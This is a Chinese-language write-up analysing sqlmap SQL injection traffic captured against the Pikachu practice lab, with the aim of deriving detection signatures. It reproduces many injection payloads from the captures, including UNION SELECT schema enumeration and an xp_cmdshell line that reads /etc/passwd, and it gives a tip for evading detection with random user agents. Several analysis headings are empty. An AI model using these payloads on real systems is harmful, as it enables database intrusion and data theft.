靶场框架:Pikachu
靶场环境:Apache 2.4.39、PHP 7.0.9、MySql 5.7.2
测试漏洞:Sql注入-字符行注入
使用工具:Sqlmap/1.5.8
流量包样本数:5 --【本文所有得出的结论均来自于对该5个流量包分析对结果,因样本数量不多,结论可能存在一定局限性】
http://192.168.68.78/pikachu/vul/sqli/sqli_str.php #pikachu靶场地址
6.打印结果:可注入的参数、可使用的PAYLOAD与注入类型、网站使用的中间件版本、DBMS版本
PS:由于Sqlmap工具产生流量过多,文章仅就关键流量进行分析
sql注入抓包样本:
sqlmap -u "http://192.168.68.78/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2"
提交请求时默认的UserAgent为:sqlmap/1.5.8#stable (http://sqlmap.org)这样很容易暴露。
GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1 CACHE-CONTROL: no-cache CONNECTION: close USER-AGENT: sqlmap/1.5.8#stable (http://sqlmap.org) ACCEPT: */* HOST: 192.168.68.78 ACCEPT-ENCODING: gzip,deflate
一般黑客会在sqlmap添加--random-agent参数,来避免被发现。
可根据上述流量提取攻击特征:
GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询&teEu=1187 AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# HTTP/1.1#判断数据库类型和xss语句 GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=4767&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root(,.,,.)."'&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root'fYzJCd<'">QtldwA&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root') AND 4676=7206 AND ('OEeA'='OEeA&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
基于特征(关键字)的分析:
GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=3093&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin,.(,,('."(&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin'hcmKpa<'">NknGPm&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 9717=5822 AND ('UIrk'='UIrk&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 3051=3051 AND ('gkDr'='gkDr&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 7299=3066 AND 'GVig'='GVig&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 3051=3051 AND 'VCXZ'='VCXZ&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 4314=2816 AND (1784=1784&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 3051=3051 AND (2420=2420&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 5091=7205&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3987=5844-- FTud&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051-- KPrw&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
基于特征(关键字)的分析:
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 1#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 5783#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 10#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 6#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 4#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 3#&submit=查询 HTTP/1.1 GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 2#&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
基于特征(关键字)的分析:
样本1: GET /pikachu/vul/sqli/sqli_str.php?name=root' UNION ALL SELECT CONCAT(0x71707a7071,JSON_ARRAYAGG(CONCAT_WS(0x716c6a757373,schema_name)),0x71716a7a71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1 样本2: GET /pikachu/vul/sqli/sqli_str.php?name=admin' UNION ALL SELECT CONCAT(0x7170786271,JSON_ARRAYAGG(CONCAT_WS(0x787463776368,schema_name)),0x71787a6b71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
基于特征(关键字)的分析: